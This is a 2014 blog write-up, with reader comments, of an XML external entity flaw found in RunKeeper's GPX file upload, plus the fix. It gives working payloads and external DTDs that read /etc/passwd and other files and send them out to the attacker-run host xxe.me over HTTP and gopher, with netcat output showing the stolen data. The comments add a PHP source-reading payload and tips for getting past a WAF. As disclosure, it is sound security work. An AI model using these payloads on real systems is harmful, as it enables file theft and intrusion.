Wednesday, June 25, 2014

Identifying Xml eXternal Entity vulnerability (XXE)

Here is a small writeup on how a XXE was discover on the website RunKeeper.com. The website, as the name suggest, keep track of your trainings (running, cycling, skying, etc.) The vulnerabilities presented were fixed on June 10th 2014.

The website accept the upload of GPX file. The GPX file format is a XML document containing a list of positions with the instant speed, time and elevation.

GPX file


Here is an example of GPS file in the GPX format. The only important aspect is that it is XML based.

  
  
  
    
      
        22.600000
        
        0.000000
      
      
        22.600000
        
        0.000000
      
      [...]
      
   


Attack potential



When seeing user XML being parse server-side, the first thing that come to mind should be XXE attacks. XXE stands for Xml eXternal Entity. These attacks have gain momentum recently following various publications.

Note that the current article doesn't explain in dept XXE. It focus on tips and methodology to identify the vulnerability and the parser capabilities. The tests presented are those that were effective on the old version of RunKeeper.

Step 1 : Confirmation that entities are interpreted


In our first attempt, we need to confirm that entity are interpreted in there most basic form. We replace value with an inline entity. If it loads properly, then the replacement must have occurs.
<!DOCTYPE gpx [<!ENTITY xxe "35.460997739" > ]>

  
  
  
    
      
        22.600000
        
        0.000000
      
   

Step 2 : Confirmation that SYSTEM entities are usable


We can now try loading external resources from a host we control. The resources can be hosted on a HTTP server, FTP server or even Samba shares in the case of intranet application.

RunKeeper only look at position, time and other numeric values. The string values from the metadata are not used. Therefore, it is not possible to get a direct response after the upload of a GPX file.

If the destination is a server we control, we would receive a connection if external entities are activated. Assuming a strict firewall restrictions is in place, all common ports should be tested (23, 80, 443, 8080, ...).

evil.gpx
<!DOCTYPE gpx [<!ENTITY xxe SYSTEM "http://xxe.me/ping_me" > ]>

  &xxe;
  
  
  
    
      
        22.600000
        
        0.000000
      
   



Right after the upload, our server receive the following request. SYSTEM entities are now confirm.
74.50.53.234 - - [08/Jun/2014:00:36:55 -0400] "GET /ping_me HTTP/1.1" 200 77 "-" "Java/1.6.0_26"

Step 3 : Test for external DTD availability to exfiltrate data


A cool trick was discovered by the researchers Alexey Osipov and Timur Yunusov that allow the construction of URL with data coming from other entities.

evil1.gpx
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE gpx [ 
 <!ENTITY % file SYSTEM "file:///etc/issue">
 <!ENTITY % dtd SYSTEM "http://xxe.me/evil1.dtd">
%dtd;]>

  &send;
   [....]


http://xxe.me/evil1.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxe.me/content?%file;'>">
%all;

Following the upload, we then received the following request:
74.50.62.56 - - [08/Jun/2014:00:51:41 -0400] "GET /content?Debian GNU/Linux 7 \x5Cn \x5Cl HTTP/1.1" 200 251 "-" "Java/1.6.0_26"

In pratice, the previoust technique is not perfect. Any file with XML incompatible characters (&, \n, \x80, etc) would break the URL. The /etc/issue is one of the rare file safe to include.

Step 4 : Test for external DTD with gopher protocol


We still have an option to fetch arbitrary file. A good observer would have notice that the remote JVM version was capture on step 1. The version is Java 1.6 update 26. The gopher protocol was disable on version 1.6 update 37 [Ref].The gopher protocol can be use to open a TCP connection and send arbitrary data.
gopher://remote_host:remote_port/?ARBITRARY_DATA

evil2.gpx
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE gpx [ 
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY % dtd SYSTEM "http://xxe.me/evil2.dtd"> 
%dtd;]>

  &send;
   [....]


http://xxe.me/evil2.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me:1337/xxe?%file;'>">
%all;

Following the upload of the first file, an incoming connection is open and the file content is received.
$ nc -nlvk 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [74.50.53.234] port 1337 [tcp/*] accepted (family 2, sport 42321)
xe?root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
[...]

Files can be fetch and directory can be list. For example, the entity "file:///" will return the root directory:
$ nc -nlvk 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [74.50.58.179] port 1337 [tcp/*] accepted (family 2, sport 52827)
xe?.rpmdb
.ssh
bin
boot
dev
etc
home
initrd.img
lib
lib32
lib64
lost+found
media
mnt
opt
proc
root
sbin
selinux
[...]

Demonstration


Demonstration of the attacks described previously. (Fullscreen recommended)


Mitigations


To resolve this issue two changes needed to be applied. SYSTEM entities were disable for the parsing of GPX files. Also, the Java Virtual Machine was updated to benefit from the previous security updates including the gopher protocol being disable by default.


References


13 comments:

  1. Thank you for this writeup. You can also read .php source code, for example:

    <!DOCTYPE trk [
    <!ENTITY entity SYSTEM "php://filter/convert.base64-encode/resource=index.php">
    ]>
    <gpx creator="GPS Visualizer http://www.gpsvisualizer.com/" version="1.0">
    <trk>
    <name>&entity;</name>
    <trkseg>
    <trkpt lat="45.4431641" lon="-121.7295456"></trkpt>
    <trkpt lat="45.4428615" lon="-121.7290800"></trkpt>
    <trkpt lat="45.4425697" lon="-121.7279085"></trkpt>
    </trkseg>
    </trk>
    </gpx>

    ReplyDelete
  2. hi! i am trying this on multilidae . i using http rather gopher to send the file:///etc/passwd. but i got this error "Invalid URI: https://localhost/stealer/indexs.php?token=root:x:0:0"

    ReplyDelete
    Replies
    1. Have you tried the PHP base64 filter? See Kamil comment for a quick example.

      Delete
  3. Hi, Great article, I'm trying the same technique but the uploader's response was that the file contains a virus, and rejects it, do you know of a way to evade this form of protection.

    ReplyDelete
    Replies
    1. Interesting.. I would try to detect if this is an antivirus, a web application firewall or a custom filter from the application.

      Few things to try
      1. Try an empty doctype (If it fails again, the parser probably throw an exception to the application when any doctype is specify.)
      2. Try to submit a EICAR test file or similar obvious malicious binaries.
      3. Try upcase variations on keywords, encoding variations, etc. (WAF bypass)
      4. Try pointing to an entity a domain name from which you control the DNS server. (see if the host get resolve)

      Delete
  4. is there a way to test this technique locally? do you know a vulnerable application that i can install locally and test with? many thanks

    ReplyDelete
    Replies
    1. Here you are: http://pastebin.com/dtZf8FfX

      Delete
    2. I have used your application which was mentioned and also used bWapp and mutillidae always I am getting parse error in simplexml_lod_file(). The vulnerable application is making connecting to my server but when it try to parse the dtd/xml file it shows error. Can you pls help how to resolve this. Could not figure what I am doing wrong.

      this is error file

      Warning: simplexml_load_file(): xxe.xml:4: parser error : xmlParsePEReference: no name in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 5

      Warning: simplexml_load_file(): % dtd;]> in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 5

      Warning: simplexml_load_file(): ^ in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 5

      Warning: simplexml_load_file(): xxe.xml:4: parser error : internal error in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 5

      Warning: simplexml_load_file(): % dtd;]> in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 5

      Warning: simplexml_load_file(): ^ in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 5

      Warning: simplexml_load_file(): xxe.xml:4: parser error : DOCTYPE improperly terminated in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 5

      Warning: simplexml_load_file(): % dtd;]> in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 5

      Warning: simplexml_load_file(): ^ in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 5

      Warning: simplexml_load_file(): xxe.xml:4: parser error : Start tag expected, '<' not found in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 5

      Warning: simplexml_load_file(): % dtd;]> in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 5

      Warning: simplexml_load_file(): ^ in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 5

      Notice: Trying to get property of non-object in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 6

      Warning: Invalid argument supplied for foreach() in /Applications/XAMPP/xamppfiles/htdocs/xxe.php on line 6

      Delete
  5. "Identifier is not initialized" may refer to your entity not being loaded. Make sure your resource path (resource=/...) point to a _file_.

    php://filter/convert.base64-encode/resource=/var/www/vhosts/SiteOnServer/httpdocs/index.php

    The directory listing trick will only work on Java applications.

    Good luck!

    ReplyDelete
  6. This comment has been removed by the author.

    ReplyDelete
    Replies
    1. The URL is most likely invalid because of the newline character place right after the first line of text.
      Have you tried the base64 encoder trick? See Kamil comment above. It is only possible with PHP environment.

      Delete
  7. This comment has been removed by the author.

    ReplyDelete
    Replies
    1. Can you upload your XML files to a site like pastebin or github gist ?

      Delete